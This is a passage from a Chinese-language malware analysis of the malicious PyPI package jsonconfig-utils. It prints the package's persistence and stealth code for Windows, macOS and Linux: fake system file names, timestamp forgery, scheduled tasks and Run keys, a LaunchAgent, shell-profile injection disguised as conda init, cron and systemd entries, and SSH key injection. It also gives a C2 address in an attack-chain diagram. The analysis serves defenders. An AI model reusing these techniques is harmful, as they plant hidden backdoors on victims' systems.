class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Public&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;Microsoft&#34;</span>,<span class="code-snippet__string">&#34;Windows&#34;</span>,<span class="code-snippet__string">&#34;INetCache&#34;</span>,<span class="code-snippet__string">&#34;IE&#34;</span>)</span></code><br/><code><span leaf="">_fp <span class="code-snippet__operator">=</span> os.path.join(_dir, <span class="code-snippet__string">&#34;msedge_update.pyw&#34;</span>)</span></code><br/><code><span leaf="">with <span class="code-snippet__keyword">open</span>(_fp, <span class="code-snippet__string">&#34;w&#34;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><br/><code><span leaf="">f.write(_code)</span></code><br/><code><span leaf=""># 设置隐藏<span class="code-snippet__operator">+</span>系统属性</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;attrib&#34;</span>,<span class="code-snippet__string">&#34;+H&#34;</span>,<span class="code-snippet__string">&#34;+S&#34;</span>,_fp], capture_output<span class="code-snippet__operator">=</span><span class="code-snippet__type">True</span>)</span></code><br/><code><span leaf=""># 时间戳伪造：对齐 cmd.exe 的时间戳</span></code><br/><code><span leaf="">_ref <span class="code-snippet__operator">=</span> os.path.join(os.environ.get(<span class="code-snippet__string">&#34;WINDIR&#34;</span>,<span class="code-snippet__string">&#34;C:</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Windows&#34;</span>),<span class="code-snippet__string">&#34;System32&#34;</span>,<span class="code-snippet__string">&#34;cmd.exe&#34;</span>)</span></code><br/><code><span leaf="">_st <span class="code-snippet__operator">=</span> os.stat(_ref)</span></code><br/><code><span leaf="">os.utime(_fp, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf=""># 计划任务（<span class="code-snippet__type">ONLOGON，最高权限）</span></span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;schtasks&#34;</span>,<span class="code-snippet__string">&#34;/Create&#34;</span>,<span class="code-snippet__string">&#34;/TN&#34;</span>,<span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Microsoft</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Windows</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">WindowsUpdate</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">AU_Maint&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;/TR&#34;</span>,_tr,<span class="code-snippet__string">&#34;/SC&#34;</span>,<span class="code-snippet__string">&#34;ONLOGON&#34;</span>,<span class="code-snippet__string">&#34;/F&#34;</span>,<span class="code-snippet__string">&#34;/RL&#34;</span>,<span class="code-snippet__string">&#34;HIGHEST&#34;</span>], capture_output<span class="code-snippet__operator">=</span><span class="code-snippet__type">True</span>)</span></code><br/><code><span leaf=""># 注册表 <span class="code-snippet__type">Run</span> 键</span></code><br/><code><span leaf="">k<span class="code-snippet__operator">=</span>winreg.<span class="code-snippet__type">OpenKey</span>(winreg.<span class="code-snippet__type">HKEY_CURRENT_USER</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;Software</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Microsoft</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Windows</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">CurrentVersion</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Run&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__number">0</span>,winreg.<span class="code-snippet__type">KEY_SET_VALUE</span>)</span></code><br/><code><span leaf="">winreg.<span class="code-snippet__type">SetValueEx</span>(k,<span class="code-snippet__string">&#34;NGenTask&#34;</span>,<span class="code-snippet__number">0</span>,winreg.<span class="code-snippet__type">REG_SZ</span>,_tr)</span></code><br/></pre></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">载荷伪装为 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">msedge_update.pyw</span></code><span leaf="">（仿冒 Microsoft Edge 更新程序），存放于 INetCache 目录</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">设置隐藏+系统文件属性，普通用户不可见</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">时间戳对齐系统 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">cmd.exe</span></code><span leaf="">，干扰取证分析</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">双重持久化：计划任务（用户登录时以最高权限启动）+ 注册表 Run 键</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">使用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pythonw.exe</span></code><span leaf=""> 配合 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">CREATE_NO_WINDOW</span></code><span leaf="">（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">0x08000000</span></code><span leaf="">）标志启动，无任何可见窗口</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.2 macOS</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__comment"># 落地路径：~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py</span></span></code><br/><code><span leaf="">_dir = os.path.join(_home,<span class="code-snippet__string">&#34;Library&#34;</span>,<span class="code-snippet__string">&#34;.Caches&#34;</span>,<span class="code-snippet__string">&#34;.com.apple.cloudd&#34;</span>)</span></code><br/><code><span leaf="">_fp = os.path.join(_dir,<span class="code-snippet__string">&#34;cloudd_helper.py&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 时间戳伪造：对齐 /usr/bin/login</span></span></code><br/><code><span leaf="">_ref = <span class="code-snippet__string">&#34;/usr/bin/login&#34;</span></span></code><br/><code><span leaf="">_st = os.stat(_ref)</span></code><br/><code><span leaf="">os.utime(_fp, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf="">os.utime(_dir, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># LaunchAgent 持久化</span></span></code><br/><code><span leaf="">_pd = {<span class="code-snippet__string">&#34;Label&#34;</span>:<span class="code-snippet__string">&#34;com.apple.icloud.cloudd&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ProgramArguments&#34;</span>:[_py,_fp],</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;RunAtLoad&#34;</span>:True,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;KeepAlive&#34;</span>:{<span class="code-snippet__string">&#34;SuccessfulExit&#34;</span>:False},</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;StandardOutPath&#34;</span>:<span class="code-snippet__string">&#34;/dev/null&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;StandardErrorPath&#34;</span>:<span class="code-snippet__string">&#34;/dev/null&#34;</span>}</span></code><br/><code><span leaf="">with open(_plist,<span class="code-snippet__string">&#34;wb&#34;</span>) as f:</span></code><br/><code><span leaf="">plistlib.dump(_pd, f)</span></code><br/><code><span leaf="">subprocess.Popen([<span class="code-snippet__string">&#34;launchctl&#34;</span>,<span class="code-snippet__string">&#34;load&#34;</span>,<span class="code-snippet__string">&#34;-w&#34;</span>,_plist], ...)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># .zshrc 注入（伪装为 conda 初始化块）</span></span></code><br/><code><span leaf="">_block = <span class="code-snippet__string">&#34;\n# &gt;&gt;&gt; conda initialize &gt;&gt;&gt;\n&#34;</span></span></code><br/><code><span leaf="">_block += <span class="code-snippet__string">&#34;# !! Contents within this block are managed by &#39;conda init&#39; !!\n&#34;</span></span></code><br/><code><span leaf="">_block += f<span class="code-snippet__string">&#34;( {_py} {_fp} &amp;&gt;/dev/null &amp; ) 2&gt;/dev/null\n&#34;</span></span></code><br/><code><span leaf="">_block += <span class="code-snippet__string">&#34;# &lt;&lt;&lt; conda initialize &lt;&lt;&lt;\n&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># crontab 兜底</span></span></code><br/><code><span leaf="">_ct=_ct.rstrip()+<span class="code-snippet__string">&#34;\n@reboot &#34;</span>+_py+<span class="code-snippet__string">&#34; &#34;</span>+_fp+<span class="code-snippet__string">&#34; &amp;&gt;/dev/null &amp;\n&#34;</span></span></code><br/></pre></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">载荷伪装为 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">cloudd_helper.py</span></code><span leaf="">，目录名 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.com.apple.cloudd</span></code><span leaf=""> 仿冒苹果 iCloud 守护进程</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">时间戳同步至系统 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/usr/bin/login</span></code><span leaf="">，目录时间戳也一并伪造</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">三重持久化：LaunchAgent（系统级）+ </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.zshrc</span></code><span leaf="">/</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.zprofile</span></code><span leaf=""> 注入 + crontab </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">@reboot</span></code></p></li><li style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.zshrc</span></code><p><span leaf=""> 注入内容伪装为 Conda 初始化代码块，极难被普通用户察觉</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.3 Linux</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__comment"># 落地路径（依权限）</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> _is_root:</span></code><br/><code><span leaf="">_<span class="code-snippet__built_in">dir</span> = <span class="code-snippet__string">&#34;/usr/lib/systemd/.systemd-journal-gcd&#34;</span>   <span class="code-snippet__comment"># root</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">else</span>:</span></code><br/><code><span leaf="">_<span class="code-snippet__built_in">dir</span> = os.path.join(_home,<span class="code-snippet__string">&#34;.local&#34;</span>,<span class="code-snippet__string">&#34;share&#34;</span>,<span class="code-snippet__string">&#34;.systemd-cache&#34;</span>)  <span class="code-snippet__comment"># 普通用户</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 时间戳伪造：对齐 /bin/ls</span></span></code><br/><code><span leaf="">_ref = <span class="code-snippet__string">&#34;/bin/ls&#34;</span></span></code><br/><code><span leaf="">_st = os.stat(_ref)</span></code><br/><code><span leaf="">os.utime(_fp, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf="">os.utime(_<span class="code-snippet__built_in">dir</span>, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># SSH 公钥注入（仅 root）</span></span></code><br/><code><span leaf="">_pk = <span class="code-snippet__string">&#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...（省略）... ops&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> <span class="code-snippet__built_in">open</span>(<span class="code-snippet__string">&#34;/root/.ssh/authorized_keys&#34;</span>,<span class="code-snippet__string">&#34;a&#34;</span>) <span class="code-snippet__keyword">as</span> f: f.write(<span class="code-snippet__string">&#34;\n&#34;</span>+_pk+<span class="code-snippet__string">&#34;\n&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># systemd 服务</span></span></code><br/><code><span leaf="">_svc = <span class="code-snippet__string">f&#34;[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart=</span><span class="code-snippet__string"><span class="code-snippet__subst">{_py}</span></span><span class="code-snippet__string"><span class="code-snippet__subst">{_fp}</span></span><span class="code-snippet__string">\nRestart=always\nRestartSec=30\n...&#34;</span></span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;systemctl&#34;</span>,<span class="code-snippet__string">&#34;enable&#34;</span>,_sn], ...)</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;systemctl&#34;</span>,<span class="code-snippet__string">&#34;start&#34;</span>,_sn], ...)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># crontab（重启 + 每6小时检活）</span></span></code><br/><code><span leaf="">_ct+=<span class="code-snippet__string">&#34;@reboot &#34;</span>+_py+<span class="code-snippet__string">&#34; &#34;</span>+_fp+<span class="code-snippet__string">&#34; &amp;&gt;/dev/null &amp;\n&#34;</span></span></code><br/><code><span leaf="">_ct+=<span class="code-snippet__string">&#34;*/360 * * * * pgrep -f &#34;</span>+os.path.basename(_fp)+<span class="code-snippet__string">&#34; || &#34;</span>+_py+<span class="code-snippet__string">&#34; &#34;</span>+_fp+<span class="code-snippet__string">&#34; &amp;&gt;/dev/null &amp;\n&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># /etc/profile.d shell 劫持（仅 root）</span></span></code><br/><code><span leaf="">_script = <span class="code-snippet__string">f&#34;#!/bin/sh\n# System locale configuration\npgrep -f </span><span class="code-snippet__string"><span class="code-snippet__subst">{os.path.basename(_fp)}</span></span><span class="code-snippet__string"> &gt;/dev/null 2&gt;&amp;1 || </span><span class="code-snippet__string"><span class="code-snippet__subst">{_py}</span></span><span class="code-snippet__string"><span class="code-snippet__subst">{_fp}</span></span><span class="code-snippet__string"> &amp;&gt;/dev/null &amp;\n&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> <span class="code-snippet__built_in">open</span>(<span class="code-snippet__string">&#34;/etc/profile.d/locale-setup.sh&#34;</span>, <span class="code-snippet__string">&#34;w&#34;</span>) <span class="code-snippet__keyword">as</span> f: f.write(_script)</span></code><br/></pre></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">落地文件名 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">journald-gc.py</span></code><span leaf="">（root）/ </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">cache-gc.py</span></code><span leaf="">（普通用户），模拟 systemd 内部组件</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">时间戳对齐系统 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/bin/ls</span></code><span leaf="">，目录时间戳同步</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">root 专属攻击：SSH 公钥注入</span></strong><p><span leaf=""> — 将攻击者 RSA 公钥（标签 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">ops</span></code><span leaf="">）写入 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/root/.ssh/authorized_keys</span></code><span leaf="">，实现永久 SSH 后门，独立于 RAT 存活</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">四重持久化：systemd 服务 + crontab（重启+定时检活）+ </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/etc/profile.d/locale-setup.sh</span></code><span leaf=""> 全局 shell 脚本劫持（root）</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/etc/profile.d/locale-setup.sh</span></code><span leaf=""> 伪装为”系统区域设置配置”，任何用户登录 shell 时均会触发。</span></p></li></ul><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">7. 攻击链总结</span></h1><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">pip</span> install jsonconfig-utils</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">▼</span></code><br/><code><span leaf="">setup.py 执行</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">├─► _check() 环境评分</span></code><br/><code><span leaf="">│    ├── 容器/CI/云环境 → 减分 → 分数 &lt; <span class="code-snippet__number">6</span> → 终止</span></code><br/><code><span leaf="">│    └── 真实用户主机 → 分数 ≥ <span class="code-snippet__number">6</span> → 继续</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">▼</span></code><br/><code><span leaf="">_install() 触发</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">├─► Windows: 落地 msedge_update.pyw</span></code><br/><code><span leaf="">│    ├── 计划任务 AU_Maint（ONLOGON + HIGHEST）</span></code><br/><code><span leaf="">│    ├── 注册表 Run 键 NGenTask</span></code><br/><code><span leaf="">│    └── 立即以 pythonw.exe 静默启动</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">├─► macOS: 落地 cloudd_helper.py</span></code><br/><code><span leaf="">│    ├── LaunchAgent com.apple.icloud.cloudd</span></code><br/><code><span leaf="">│    ├── .zshrc/.zprofile 注入（conda 伪装）</span></code><br/><code><span leaf="">│    ├── crontab <span class="code-snippet__variable">@reboot</span></span></code><br/><code><span leaf="">│    └── 立即后台启动</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">└─► Linux: 落地 journald-gc.py / cache-gc.py</span></code><br/><code><span leaf="">├── SSH 公钥注入（root）</span></code><br/><code><span leaf="">├── systemd 服务（enable + start）</span></code><br/><code><span leaf="">├── crontab（<span class="code-snippet__variable">@reboot</span> + */360min 检活）</span></code><br/><code><span leaf="">├── /etc/profile.d/locale-setup.sh（root）</span></code><br/><code><span leaf="">└── 立即 start_new_session 启动</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">▼</span></code><br/><code><span leaf="">RAT Agent 运行</span></code><br/><code><span leaf="">│</span></code><br/><code><span leaf="">└─► SSL 连接 <span class="code-snippet__number">77.246.103.245:443</span></span></code><br/><code><span leaf="">├── 上报主机信息</span></code><br/><code><span leaf="">├── 心跳（<span class="code-snippet__number">15s</span>）</span></code><br/><code><span leaf="">└── 等待并执行远程指令</span></code><br/></pre></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">8. 关键 IoC（失陷指标）</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7916666666666666" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005403" src="https://wechat2rss.xlab.app/img-proxy/?k=2e19431d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtcELmbKSNEiaY0gDiasBlHGubV2S7avUpLs1M2Ew8y0NI5CXC4jf5nwjBKCMRZMHVvRReFdP0vF22cibZ1OUiclxjjGof9rVYcmsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">9. 总结</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">jsonconfig-utils</span></code><span leaf=""> 是一个具有较高技术水准的供应链攻击包，攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">伪装合法功能</span></strong><p><span leaf="">：主模块 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">jsonconfig_utils.py</span></code><span leaf=""> 实现了完整的 JSON 配置工具功能，以降低安全扫描工具和人工审查的警惕性。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">精密反沙箱检测</span></strong><p><span leaf="">：通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分，仅在确认为真实用户环境时才触发攻击，有效规避自动化检测。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">双重混淆载荷</span></strong><p><span leaf="">：RAT 代码经 Base64 + XOR 双重加密存储，静态特征难以识别。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">跨平台攻击</span></strong><p><span leaf="">：同一个 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, 